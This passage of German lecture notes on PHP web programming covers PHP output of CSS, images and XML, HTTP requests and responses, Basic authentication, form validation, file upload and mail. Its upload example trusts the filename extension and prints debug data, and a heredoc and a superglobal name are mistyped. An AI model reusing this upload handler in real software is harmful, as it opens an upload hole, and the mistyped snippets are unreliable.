Achtung: was passiert wenn zwei Zugriffe genau gleichzeitig erfolgen? Zwei Apache-Prozesse führen
jeweils das PHP-Programm aus und versuchen, in die gleiche Datei zu schreiben! Diese Problem exis-
tiert, wir werden es aber erst mal ignorieren.

1.4 PHP erzeugt nicht nur HTML

Ein PHP-Programm gibt normalerweise HTML aus. Entsprechend liefert der PHP-Interpreter einen
http-Header „Content-Type: text/html“. Mit dem Befehl header() kann dies verändert werden.

1.4.1 PHP erzeugt CSS

Eine externes Stylesheet kann auch Output eines PHP-Programmes sein:

<html>
<head>
<link rel="stylesheet" href="style.php" />
</head>
<body>
<h1>Überschrift</h1>
<p>text text text</p>
</body>
</html>

Ein Stylesheet, das von PHP aus erzeugt wird, hat den Vorteil, dass man Variablen verwenden kann,
z.B. für die Definition von Farben, die mehrmals im Stylesheet verwendet werden sollen. In folgen-
dem Beispiel wird einfach das ganze Stylesheet mit einem echo ausgegeben:

<?php
$blau = "rgb(0,0,255)";
echo "
body { padding: 3em; }
h1 { color: $blau; }
.box {
background-color: $blau;
}
";
?>

Für mehrzeilige Strings gibt es in PHP eine alternative Schreibweise, die hier sehr praktisch wäre:
MMT Webprogrammierung 2 23

<?php
$blau = "rgb(0,0,255)";
echo <<<ENDE
body { padding: 3em; }
h1 { color: $blau; }
.box {
background-color: $blau;
}
ENDE;
?>

1.4.2 PHP erzeugt Bild

Das PHP-Programm kann auch Bilddaten ausgeben, diese können dann auf die bekannten Arten im
Web verwendet werden:

<html>
<head>
<style>
body {
margin-left: 120px;
background-image: url(drawbackground.php);
background-repeat: repeat-y;
}
</style>
</head>
<body>
<h1>Zufalls-Hintergrund</h1>
<p>Das verwendete Hintergrundbild wurde von PHP erzeugt:</p>
<p><img src="drawbackground.php" />
</body>
</html>

Welches Bildformat verwendet wird (jpg, gif, png, …) wird wieder über den http-Header Content-
Type angekündigt. Die Befehle zur Bild-Erzeugung in Manipulation sind unter dem Stichwort „Image
Funktions“ in der PHP-Doku zu finden.
MMT Webprogrammierung 2 24

<?php // Waagrechte Linien zufälliger Länge


header("Content-type: image/png");

$max = 100; // maximale Breite des Bildes


$im = imagecreate($max, 100);
$background_color = imagecolorallocate($im, 255, 255, 255);
$drawing_color = imagecolorallocate($im, 255, 0, 255);

imagefill($im, 0, 0, $background_color);
$y=0;
while( $y < 100 ) {
$x = rand(0,$max);
imageline($im, 0, $y, $x, $y, $drawing_color);
$y=$y+2;
}

imagepng($im); // gibt das Bild aus


imagedestroy($im);
?>

1.4.3 PHP erzeugt Variablen für Flash

Wenn PHP als „Backend“ für Flash verwendet wird kommt eine sehr einfache Form
der Ausgabe zum Einsatz: die Variablennamen und Werte werden wie für eine URL
encodiert und ausgegeben. So könnte der Output eines Counters so aussehen:

count=25856&date=2.Mai+2008&time=10:15

Unter dem Stichwort „URL Funktionen“ finden Sie in der PHP-Doku die Funktion
http_build_query() die hier weiterhilft.

1.4.4 PHP erzeugt XML

Bei der Zusammenarbeit mit Flash kommt auch XML zum Einsatz. Dies ist notwendig wenn komplexe
Datenstrukturen übertragen werden sollen. Für eine Flash-Bildergalerie, die alle Bild-Dateien am
Server darstellen soll, muss man zum Beispiel die Liste der Bilder übertragen:

<bilder>
<bild imageurl="img/DSC_3461.jpg" />
<bild imageurl="img/DSC_3462.jpg" />
</bilder>

Das PHP-Programm dazu könnte so aussehen:


MMT Webprogrammierung 2 25

<?php
header("Content-Type: application/xml");

$bilder = glob("*.jpg");

echo("<bilder>\n");
foreach( $bilder as $bild ) {
echo("<bild imgurl='$bild' />\n");

}
echo("</bilder>\n");
?>

1.4.5 PHP leitet weiter

Ein PHP-Programm kann den Browser zu einer anderen URL weiterleiten. So kann zum Beispiel die
Verarbeitung einer Bestellung (im ersten PHP-Programm) von der Darstellung des Bestellstatus (im
zweiten PHP-Programm) getrennt werden:

<?php
// hier passieren wichtige Dinge ...
header("Location: status.php");
exit; /* fertig, nichts weiter ausgeben! */
?>
MMT Webprogrammierung 2 26

2. HTTP
Der Datenaustausch zwischen Web-Formular und PHP-Programm mit den Methoden GET und POST
wird vorgestellt.

2.1 Ziele

Was Sie alle wissen sollten

• Wie http-Request und http-Response prinzipiell aufgebaut sind, dass GET und POST die wich-
tigsten Methden des REquest sind, dass 200 und 404 die wichtigsten Status-Codes des
Responds sind

• Die http-Header die für Umleitung und Authentisierung notwendig sind

• Wie Sie mit der PHP-Funktion header() in das HTTP-Protokoll eingreifen können.

• Dass die URL eines PHP-Programms eine öffentliche Schnittstelle ist: fremde Menschen wer-
den mit böse Absicht verschiedene Parameter ausprobieren! Fremde Menschen werden in
guter Absicht unerwartete Parameter eingeben um neue, nicht bedachte Funktionen zu er-
zielen.

• Dass die Parameter über die superglobalen Arrays $_GET, $_POST (und $_REQUEST) im PHP-
Programm zur Verfügung stehen.

Was Sie alle können sollten

• Mit dem Firefox-AddOn Live http Headers oder mit Firebug HTTP abhören.

• In einem PHP-Programm Daten von einem Web-Formular entgegen nehmen und prüfen be-
vor sie weiter verarbeitet werden.

• Ein Webformular so gestalten, dass „richtige“ Eingaben erhalten bleiben wenn Fehlermel-
dungen angezeigt werden

2.2 TCP/IP und DNS

Um das Protokoll des Web zu verstehen erst ein paar Grundsätzliche Informationen zur Funktions-
weise des Internet. Genaueres im 3.Semester, in der Lehrveranstaltung „Multimediale Netwerke &
IT Sicherheit“.

Das Internet ist ein weltweites Computernetzwerk, oder besser: ein Netzwerk von Netzwerken. Es
sind verschiedene Computer daran angeschlossen: PCs mit Betriebssystem Windows oder Linux,
MMT Webprogrammierung 2 27

Macs, UNIX-Workstations, und noch viele mehr. Die einzelnen Netze sind sehr unterschiedlich: Kup-
ferleitungen, Glasfaserleitungen, Satelliten-Verbindungen, Ethernet, Funkstrecken. Die Besitz-
verhältnisse sind kompliziert: die Leitungen und Computer gehören verschiedenen Firmen, Universi-
täten, Schulen, Vereinen, Privatpersonen.

Was hält das Internet dann zusammen? Das Internet Protokoll. Aufbauend auf die Grund-Netze (z.B.
Ethernet) muss jeder Computer am Internet (genannt „Host“) diese Protokoll-Familie implementie-
ren. Zwischen den Netzen vermitteln Router die Pakete von einem Netz zum nächsten.

IP-Adressen: Die eindeutigen Adressen für Hosts am Internet werden zentral verwaltet. Die Internet
Assigned Numbers Authority (IANA) hat diese Aufgabe an Organisationen auf den verschiedenen
Kontinenten verteilt, in Europa an aas Réseaux IP Européens Network Coordination Centre (RIPE
NCC). RIPE vergibt die Adressen an die Internet-Provider in Europa. In der Whois-Datenbank2 von
RIPE kann man die „Besitzer“ von IP-Adressen herausfinden.

IP – das Internetprotokoll: Der Host teilt die zu sendenden Daten in einzelne Pakete und versieht
jedes Pakt mit der Absender- und Zieladresse (IP-Adressen, 4 Byte). Der Host selbst kennt nur sein
Standard-Gateway (= der nächste Router) und das eigene Netzwerk. Über das eigene Netzwerk
schickt er das Paket an das Standard-Gateway. Der Router nimmt das Paket auf dem einen Netzwerk
entgegen und entscheidet auf Grund der Adressen auf welchem Netzwerk und an welchen Router er
das Paket weiterleitet. Beim Ziel-Host langen die Pakete ein – es gibt aber keine Garantie, dass alle
ankommen oder dass sie in der richtigen Reihenfolge ankommen.

TCP - Transmission Control Protocol: TCP bietet zusätzlich zur Datenübertragung die Sicherheit, dass
Pakete nicht unterkannt verloren gehen und dass sie – falls sie ankommen – in der richtigen Reihen-
folge ankommen. Dazu wird der Datenstrom wieder in IP-Pakete zerlegt, diese werden aber numme-
riert bevor sie abgesendet werden. Die Adressierung erfolgt über IP-Adresse plus Port-Nummer. Der
Ziel-Host prüft die Reihenfolge der Pakete und meldet zurück falls Pakete fehlen. Aus Programmier-
Sicht erhält man also entweder die Daten in richtiger Reihenfolge oder eine Fehlermeldung.

DNS – Domain Name System: Das Domain Name System ist eine verteilte Datenbank die „hübsche
Namen“ für Hosts speichert. Z.B. ist dort zu multimediatechnology.at die IP-Adresse 193.170.119.79
gespeichert. Viele Namen verweisen übrigens auf die gleiche IP-Adresse. Auf jedem Host ist die IP-
Adresse des nächsten Domain Name Servers gespeichert. So kann der Host einen „domain name
lookup“ machen: er fragt seinen DNS-Server „was ist die IP-Adresse von x.y.z“ und erhält als Antwort
die IP-Adresse. Der DNS-Server übernimmt dabei die Arbeit eventuell bei mehreren anderen DNS-
Servern nachzufragen. Auch die Top-Level-Domains (.com, .at, .de, …) werden von IANA verwaltet
und können über Whois abgefragt werden. Für die Domain .at ist die Firma nic.at zuständig.

2
http://www.db.ripe.net/whois
MMT Webprogrammierung 2 28

2.3 HTTP

HTTP ist in RFC 2616 definiert. HTTP baut auf TCP auf, d.h. die hier dargestellten Daten werden über
eine TCP-Verbindung zwischen Client und Server übertragen. Im ersten Semester wurde HTTP schon
einmal grob vorgestellt; nun werden wir HTTP genauer betrachten.

2.3.1 Ablauf im Überblick

Egal ob der Vorgang durch das Eintippen einer URL oder durch das Anklicken eines Links gestartet
wird — das Laden einer Webseite über HTTP funktioniert immer gleich.

1. Der Browser analysiert die URL: falls Sie eine IP-Adresse enthält geht’s weiter zum nächsten
Schritt. Falls sie einen Domain Namen enthält wird dieser mittels DNS-Lookup in die entspre-
chende IP-Adresse übersetzt.

2. Der Browser baut eine TCP-Verbindung zum Server auf (Default: Port 80)

3. Der Browser sendet über die TCP-Verbindung einen HTTP-Request; dieser besteht aus einer ers-
ten Zeile, einem Header und manchmal einem Body.

4. Der Webserver nimmt den Request entgegen und analysiert ihn. Meistens interpretiert er ihn als
Aufforderung, eine bestimmte Datei aus dem Dateisystem zu lesen.

5. Der Webserver schickt über die TCP-Verbindung einen HTTP-Response an den Browser, dieser
besteht aus einem Statuscode, z. B. „200 OK\n\n“, einem Header und dem Inhalt des angeforder-
ten Dokuments.

6. Der Browser nimmt das Dokument in Empfang, stellt es geeignet dar, und beendet die TCP-
Verbindung.

Dieser einfache Ablauf kann durch die Verwendung von Proxies und Caches sowie durch das wieder-
holte Abrufen von Dokumenten vom selben Server komplizierter werden — das ignorieren wir aber
erst einmal.

2.3.2 Aufbau von Request und Response

Jede Anfrage des Clients und jede Antwort des Servers besteht aus einer ersten Zeile mit besonderer
Bedeutung, einem Header und einem Body. Header und Body funktionieren ähnlich wie bei einer E-
Mail:

Hier ein Beispiel für einen Request:

Erste Zeile GET /rezensionen/list.php3?no=20 HTTP/1.1

Beliebig viele Header-Zeilen Host: www.biblio.at


MMT Webprogrammierung 2 29

User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311


Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

Eine leere Zeile trennt Header


und Body (\n\n, hier un-
sichtbar)
Body (leer)

Die erste Zeile einer Client-Anfrage besteht aus: Methode, URL-Fragement und HTTP-
Versionsnummer. Die meist-verwendete Methode ist GET. Sie erinnern sich an das erste Semester:
bei Web-Formularen muss man die Methode angeben, mit der die Daten an den Server übertragen
werden sollen. Das ist diese Methode.

Hier ein Beispiel für eine Server-Antwort:

Erste Zeile HTTP/1.0 200 OK

Beliebig viele Header-Zeilen Date: Sat, 27 Apr 2002 05:52:57 GMT


Server: Apache/1.3.9 (Unix) Debian/GNU
Content-Type: text/html

Eine leere Zeile trennt Header


und Body (\n\n, hier unsicht-
bar)
Body des HTTP-Response ent- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transi-
hält das gesamte Dokument tional//EN">
<html><head><meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<title>Rezensionsdatenbank des &Ouml;sterreichischen Bib-
liotheksWerkes</title>
<link rel="Stylesheet" href="rezensionen.css" />
</head><body>nix</body></html>

Die erste Zeile der Server-Antwort besteht aus der HTTP-Versionsnummer, dem Statuscode und
einem erklärenden Text zum Statuscode, der aber nicht standardisiert ist.

Die wichtigsten Statuscodes sind 200 (ok), 404 (not found), 403 (forbidden).

Header-Zeilen gibt es sehr viele; relativ wenige davon werden von Clients und Servern wirklich be-
achtet.

Host: www.biblio.at Wichtig wenn der Server unter mehreren


Request

Domain Names (aber nur einer IP-


Adresse) erreichbar ist.
MMT Webprogrammierung 2 30

Request User-Agent: Mozilla/5.0 (Win98; de-AT) Selbstdarstellung des Clients: welcher


Gecko/20020311 Browser, welche Version. Die meisten
User-Agent: Mozilla/4.0 (compatible;
Clients lügen, und behaupten sie wären
MSIE 5.5; Windows 98; Win 9x 4.90)
Mozilla, erst in der Klammer folgt die
richtige Angabe.
Referer: http://my.app.at/form.html Woher kommt der Client? URL der vorigen
Request

Seite—falls von dort ein Link hierher ver-


folgt wurde oder ein FORM. Kann de-
aktiviert werden!
Date: Sat, 27 Apr 2002 05:52:57 GMT Datum und Uhrzeit am Server
Response

Server: Apache/1.3.9 (Unix) Debian/GNU Selbstdarstellung des Servers


Response

Content-Type: text/html MIME-Type des im Body gelieferten Do-


Response

kuments

2.3.3 HTTP abhören

Wie können Sie HTTP beobachten? Entweder mit einem allgemeinen Netzwerk-Sniffer wie Ethe-
real/Wireshark3 oder mit der Firefox-Extension Live HTTP Headers4.

Abbildung 11: HTTP abhören mit Wireshark (links) und Live HTTP Headers (rechts)

Die folgenden Anwendungsbeispiele wurden mit Live HTTP Headers mitgeschnitten.

3
http://www. wireshark. org/
4
http://livehttpheaders. mozdev. org/
MMT Webprogrammierung 2 31

2.3.4 Seite laden oder Formulardaten senden mit GET

Die Methode GET wird bei den meisten HTTP-Anfragen verwendet - sowohl bei normalen Links als
auch beim Senden von Formulardaten mit GET. Die URL kann dabei ein Fragezeichen gefolgt von
Parametern und Werten enthalten.

Request = Client an Server

Response = Server an Client

GET /rezensionen/list.php3?no=20 HTTP/1.1


Host: www.biblio.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

HTTP/1.0 200 OK
Date: Sat, 27 Apr 2002 05:52:57 GMT
Server: Apache/1.3.9 (Unix) Debian/GNU
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=iso-8859-1">
<TITLE>Rezensionsdatenbank des &Ouml;sterreichischen
BibliotheksWerkes</TITLE>
<LINK REL=Stylesheet HREF=rezensionen.css>
</HEAD>

Die Länge der übertragenen Daten aus dem Formular ist hier begrenzt durch die Länge der URL. Für
größere Datenmengen (z. B. beim Upload von Dateien) gibt es die Methode Post.

Die Header, die mit Accept beginnen, können (laut Standard) dem Aushandeln von Sprache, Datentyp, Enco-

ding dienen; werden aber von Servern und Clients nur teilweise beachtet.

Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 bedeutet laut Standard, daß der Client das Do-

kument lieber als HTML als als Plain Text erhalten würde. Im realen Web wird aber unter einer URL immer nur

ein Dokumententyp angeboten. Wenn man eine PDF-Version der gleichen Information anbietet, dann ge-

schieht dies unter einer anderen URL.

Accept-Language würde dem Aushandeln der Sprache dienen. Dazu müssten die UserInnen aber im Browser

die Sprach-Präferenz konfigurieren:


MMT Webprogrammierung 2 32

Abbildung 12: Festlegen der Sprach-Präferenz im Browser Firefox

Da aber kaum jemand diese Konfiguration vornimmt wird die Sprach-Aushandlung kaum verwendet.
Einziges mir bekanntes Beispiel einer Webseite die unter der gleichen URL in verschiedenen Spra-
chen erhältlich ist ist die Homepage von Debian:

Abbildung 13: Homepage von Debian, verschiedene Sprachen bei gleicher URL

2.3.5 Senden von Formulardaten mit Post

Bei POST werden die Daten aus dem Formular nicht in der URL, sondern im HTTP-Body der Anfrage
übertragen. Die Codierung (kaufmännisches-Und zwischen den namen=wert-Paaren, + statt Leerzei-
chen, %-Schreibweise für Sonderzeichen) bleibt gleich. Hier gibt es keine Beschränkung der Länge.

Request = Client an Server


POST /rezensionen/list.php3 HTTP/1.1
Host: www.biblio.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Referer: http://www.biblio.at/rezensionen/formular.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 129

no=20&limit=1&katalog=all&isbn=&nachname=Jellinek&vornam
e=&titel=&schlagwort1=&schlagwort2=&Bool=AND&verl=&von=&
bis=&submit=SUCHE

Die Antwort des Servers unterscheidet sich nicht zwischen GET und POST (außer Sie haben das in
PHP absichtlich so programmiert).
MMT Webprogrammierung 2 33

2.3.6 Umleitung an neue URL

Mit dem Statuscode 301 kann der Server anzeigen, dass die Seite an eine neue URL übersiedelt ist.
Der Webbrowser schickt dann sofort eine Anfrage an die neue URL, die LeserIn bemerkt so eine Wei-
terleitung meist gar nicht.

(Wie auf Seite 25 beschrieben, können Sie diese Umleitung von PHP aus mit dem header-Befehl aus-
lösen)

Client an Server
Server an Client
GET / HTTP/1.1
Host: www.rezensionen.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

HTTP/1.0 301 Moved Permanently


Date: Sat, 27 Apr 2002 05:52:26 GMT
Server: Apache/1.3.9 (Unix) Debian/GNU
Location: http://www.biblio.at/rezensionen/
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<HTML><HEAD>
<TITLE>301 Moved Permanently</TITLE>
</HEAD><BODY>
<H1>Moved Permanently</H1>
The document has moved <A
HREF="http://www.biblio.at/rezensionen/">here</A>.<P>
</BODY></HTML>
GET /rezensionen/ HTTP/1.1
Host: www.biblo.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

und so weiter.
MMT Webprogrammierung 2 34

2.3.7 Authentisierung nach RFC 2617

Der Webserver kann so konfiguriert werden, dass er Dokumente nur nach Eingabe von Username
und Passwort liefert. Der Browser zeigt dafür ein Eingabefenster an:

Abbildung 14: Eingabefenster für HTTP Authentisierung in verschiedenen Browsern

Falls eine Authentisierung über diese Methode stattgefunden hat, finden Sie den Usernamen in PHP
in der Variable $_SERVER['PHP_AUTH_USER'].

Auf Ebene des HTTP-Protokolls betrachtet funktioniert diese Authentisierung wie folgt: bei der ersten
Anfrage des Clients schickt der Server einen Status-Code 401 (nicht autorisiert).

Client an Server
Server an Client
GET /pr/ HTTP/1.1
Host: www.sbg.ac.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66
HTTP/1.0 401 Unauthorized
Date: Sat, 27 Apr 2002 06:05:08 GMT
Server: Apache/1.3.22 (Unix)
WWW-Authenticate: Basic realm="unineu"
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<HTML><HEAD>
<TITLE>401 Authorization Required</TITLE>

Daraufhin zeigt der Browser das Passwort-Eingabefenster an. Nach Eingabe von Username und Pass-
wort schickt der Browser die gleiche Anfrage erneut, diesmal aber mit der zusätzlichen Header-Zeile
Authorization. In dieser Zeile werden Username und Passwort (leicht verschlüsselt) mitgeschickt.

Wenn Username und Passwort stimmen, schickt der Server eine positive Antwort und das Dokument.
MMT Webprogrammierung 2 35

Der Browser wird bei allen weiteren Anfragen an diesen Server ebenfalls die Authorization-Zeile mit-
schicken.

GET /pr/ HTTP/1.1


Host: www.sbg.ac.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66
Authorization: Basic dHI6cHJyMDBy
HTTP/1.0 200 OK
Date: Sat, 27 Apr 2002 06:05:11 GMT
Server: Apache/1.3.22 (Unix)
Content-Type: text/html; charset=iso-8859-1

<html lang="de">
<head>
<title>Universit&auml;t Salzburg - B&uuml;ro f&uuml;r Public
Relations</title>

2.3.8 HTTPS

HTTPS ist HTTP über Secure Socket Layer (SSL) — d.h. auf Ebene der TCP-Verbindung werden alle
übertragenen Daten verschlüsselt. Außerdem bietet SSL die Möglichkeit, dass sich der Server und der
Client mit einem Zertifikat ausweisen.

Ob HTTPS oder HTTP verwendet wird, hängt von der Konfiguration des Server ab. Wenn Sie nur
Webspace in „Untermiete“ benutzen (wie auf multimediatechnology.at), können Sie HTTPS nicht
aktivieren.

Die Verschlüsselung und Entschlüsselung des gesamten Verkehrs braucht CPU-Zeit — der Webserver
kann also weniger Anfragen bedienen als mit HTTP. Eine Möglichkeit diese Belastung vom Webserver
„fernzuhalten“ ist die Terminierung von SSL auf einem anderen Rechner.

2.3.9 Proxies

Das HTTP-Protokoll sieht die Möglichkeit von Proxies vor. Ein Proxie ist eine „Zwischenstation“ die
HTTP-Verkehr weitergibt, der Proxy agiert also auf der einen Seite als HTTP-Server, auf der anderen
Seite als HTTP-Client. Im Browser kann ein Proxie konfiguriert werden:
MMT Webprogrammierung 2 36

Abbildung 15: Proxy-Konfiguration in Firefox: Extras - Einstellungen - Erweitert - Netzwerk – Verbindung

Ist ein Proxy konfiguriert dann baut der Browser die HTTP-Verbindung nicht direkt zum Zielrechner
auf, sondern zum Proxy, und verändert die Form der ersten Zeile der HTTP-Anfrage: die vollständige
URL wird angegebe:

GET http://www.sbg.ac.at/pr/ HTTP/1.1

Proxies können gleichzeitig als Cache fungieren: Anfragen und Antworten werden gespeichert; er-
folgt die gleiche Anfrage noch einmal, kann die gespeicherte Antwort verwendet werden.

2.4 Daten aus Web-Formularen verarbeiten

Sie können bereits HTML-Formular erstellen und wissen wie bei Verwendung der Methode GET aus
den Daten eine URL konstruiert wird:

http://localhost/php/test.php?anzahl=4&adresse=Jakob+Haringer+Str.1%0D%0A5020+Salzburg

action 1.Eingabe 2.Eingabe

Sie wissen auch, dass das Webformular nicht notwendig ist um diese GET-Anfrage zu erzeugen. Die
Google-Suche nach „Schokolade“ hat folgende URL:

http://www.google.com/search?q=Schokolade

Sie können diese URL einfach direkt in den Browser eintippen, ohne das Eingabeformular von Google
zu verwenden. Sie können diese URL in den Lesezeichen/Favoriten Ihres Browsers speichern oder in
einem Link verwenden:

<a href="http://www.google.com/search?q=schokolade">Suche nach Schokolade</a>

Wenn Sie eine Web-Applikation erstellen müssen Sie auch darauf gefasst sein, dass die UserInnen
nicht nur die Web-Formulare verwenden sondern auch URLs konstruieren und aufrufen.
MMT Webprogrammierung 2 37

2.4.1 Daten senden mit Methode POST

Bei Verwendung der Methode GET werden die gesamten Daten in der URL codiert. Dadurch ergibt
sich eine Beschränkung der Datenmenge: Webserver verarbeiten nur URLs bis zu einer bestimmten
Länge. Die Methode POST umgeht diese Beschränkung. Dabei werden die Daten gleich codiert wie
bei GET, aber im Body des HTTP-Requests gesendet.

POST ermöglicht damit das Einsenden von ganzen Dateien, dabei muss auch noch das enctype Att-
ribut des Form-Tags gesetzt werden:

<form action="upload.php" method="post" enctype="multipart/form-data" >


Neues Bild zum hochladen in den Ordner <a href='img/'>img</a>: <input type="file" na-
me="bild">
<input type="submit" value="hinaufladen">
</form>

Der Input-Tag mit dem Typ „file“ wird vom Browser als Textfeld plus Button dargestellt. Wird der
Button gedrückt dann erscheint ein Datei-Auswahl-Dialog, wie in Abbildung 16 gezeigt.

Abbildung 16: Webformular mit Datei-Upload

2.4.2 Daten prüfen

Die Daten aus einem Web-Formular werden vom PHP-Interpreter verarbeitet, die URL-Codierung
aufgelöst und die Daten dann in mehreren superglobalen5 Arrays zur Verfügung gestellt:

$_GET Dieses Array enthält die Parameter einer GET-Anfrage.

5
Superglobal bedeutet, dass diese Variablen auch ohne global innerhalb von Funktionen sichtbar
sind
MMT Webprogrammierung 2 38

$_POST Dieses Array enthält die Parameter einer POST-Anfrage.

$_REQUEST Dieses Array kombiniert die Daten aus $_GET und $_COOKIE und $_POST. Besser
die spezifischen Arrays verwenden!

$_FILE Enthält Daten von hochgeladenen Dateien

Warnhinweis: In frühen PHP Versionen konnte man noch direkt die Variable $nr verwenden um den
Wert aus einem Eingabefeld <input name="nr" /> zu lesen — das funktioniert heute nicht mehr!

Um die Bestellung aus der URL


http://localhost/php/test.php?anzahl=4&adresse=Jakob+Haringer+Str.1%0D%0A5020+Salzburg
zu verarbeiten, könnte folgendes Programm verwendet werden:

<?php
$anzahl = $_GET['anzahl'];
$adresse = $_GET['adresse'];

echo("<p>Ihre Bestellung über $anzahl Flugzeuge ist eingelangt</p>");


echo("<p>Die Flugzeuge werden binnen 1 Monat an $adresse geliefert</p>");
?>

Dabei wird aber die Eingabe nicht geprüft. Eine bessere Version des Programmes prüft vorher jede
Eingabe und gibt entsprechende Fehlermeldungen aus:

<?php
$anzahl = $_GET['anzahl'];
$adresse = $_GET['adresse'];
$ok = true; // zeigt ob alle Eingaben ok sind
$fehler = array(); // sammelt alle Fehlermeldungen
if( (int) $anzahl != $anzahl or $anzahl < 1) {
$ok = false;
$fehler[] = "Bitte geben Sie die Anzahl der Flugzeuge ein!";
}
if( strlen( $adresse ) < 5 ) {
$ok = false;
$fehler[] = "Bitte geben Sie die vollständige Lieferadresse an!";
}
if ( ! $ok ) {
echo("<p>Ihre Bestellung kann derzeit nicht bearbeitet werden:</p>");
echo("<ol>");
foreach( $fehler as $fehler_text ) {
echo("<li>$fehler_text</li>");
}
echo("</ol>");
echo("<p>Bitte gehen Sie zurück und bessern Sie die Bestellung aus.");
}
else {
echo("<p>Ihre Bestellung über $anzahl Flugzeuge ist eingelangt</p>");
echo("<p>Die Flugzeuge werden binnen 1 Monat an $adresse geliefert</p>");
}
?>
MMT Webprogrammierung 2 39

2.4.3 Datei Upload

Die Verarbeitung von hochgeladenen Dateien ist wesentlich komplizierter: Die Dateien werden vom
PHP-Interpreter temporär gespeichert. Das PHP-Programm kann die Dateien dann an einen perma-
nenten Speicherort kopieren (falls das die Zugriffsrechte erlauben)

Die Details zu den Hochgeladenen Dateien sind im Array $_FILES gespeichert, in folgendem Beispiel
hatte das Eingabefeld den Namen „bild“:

$_FILES['bild']['name'] Der Originalname der Datei am Client.

$_FILES['bild']['type'] Der „Mime Type“ der Datei – falls der Browser diese In-
formation liefert. Zum Beispiel „image/gif“. Achtung: nicht
zuverlässig!

$_FILES['bild']['size'] Größe der hochgeladenen Datei in Byte.

$_FILES['bild']['tmp_name'] Der Dateiname der temporären Datei.

$_FILES['bild']['error'] Fehlercode bei Upload, 0 bedeutet dass kein Fehler aufge-


treten ist. Siehe PHP-Doku.

<?php
$uploaddir = '/home/urstein/stud/0/fhs30000/public_html/uploadtest/img/';

$filename = basename($_FILES['bild']['name']);
$ext = substr($filename, -4);

if( $ext != '.jpg' ) {


die("ich darf nur jpg-Dateien hochladen, nicht " . substr($filename, -3) );
}

$uploadfile = $uploaddir . $filename;

if (move_uploaded_file($_FILES['bild']['tmp_name'], $uploadfile)) {
echo "Datei erfolgreich hochgeladen nach <a href='img/'>img/</a>\n";
} else {
echo "Problem beim Speichern der Datei.\n";
}

echo '<pre>debugging info:';


print_r($_FILES);
print '</pre>';

?>

Achtung: Sie müssen den Ordner img erstellen und ihm geeignete Zugriffsrechte zuweisen, damit der
Webserver (= ein anderer Account) hinein-schreiben darf!
MMT Webprogrammierung 2 40

2.5 PHP und E-Mail

Die Funktion zum Senden von E-Mail heißt mail:

mail(
"bjelli@horus.at",
"Just another SPAM",
"Das ist der Text in der E-Mail"
);

Dazu passend wieder der Trick, wie man viel Text in einen langen String schreiben kann:

$text <<<Ende
Lieber Newsletter-Kunde!
wir freuen uns, dass Sie unseren
Newsletter zum Thema $thema
abonniert haben.
Ende;
mail("bjelli@horus.at", "Just another $thema-Newsletter", $text);

Wie die Mail vom PHP-Interpreter versandt wird, ist in der PHP- Konfiguration festgelegt. Die Konfi-
gurations-Datei hat den Namen php.ini. Wenn man PHP auf dem eigenen Computer betreibt, kann
man den SMTP-Server des Providers eintragen um die ausgehende Mail über diesen Server zu
versenden:

;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;

[mail function]
SMTP = mail.provider.at
sendmail_from = someuser@fh-salzburg.ac.at

Der Befehl phpinfo() gibt die ganze Konfiguration von PHP aus. Hier kann man auch die Mail-
Konfiguration nachlesen:

Abbildung 17: Konfiguration von PHP für Mail


MMT Webprogrammierung 2 41
MMT Webprogrammierung 2 42

3. Webapplikationen mit MySQL

3.1 Ziele

Was Sie wissen sollten

• Wie Sie von PHP aus auf Ihre MySQL-Datenbank zugreifen können: Aufbau der Verbindung,
query, fetch, Beenden der Verbindung.

• Dass das Filtern der Daten in der Datenbank passieren sollte und möglichst wenige Daten
nach PHP übertragen werden sollten.

• Wie Datensatz in der Datenbank und Array in PHP zusammenhängen.

Was Sie können sollten

• In einer Webapplikation mit Datenbank kleine Veränderungen und Verbesserungen vorneh-


men.

3.2 PHP und MySQL

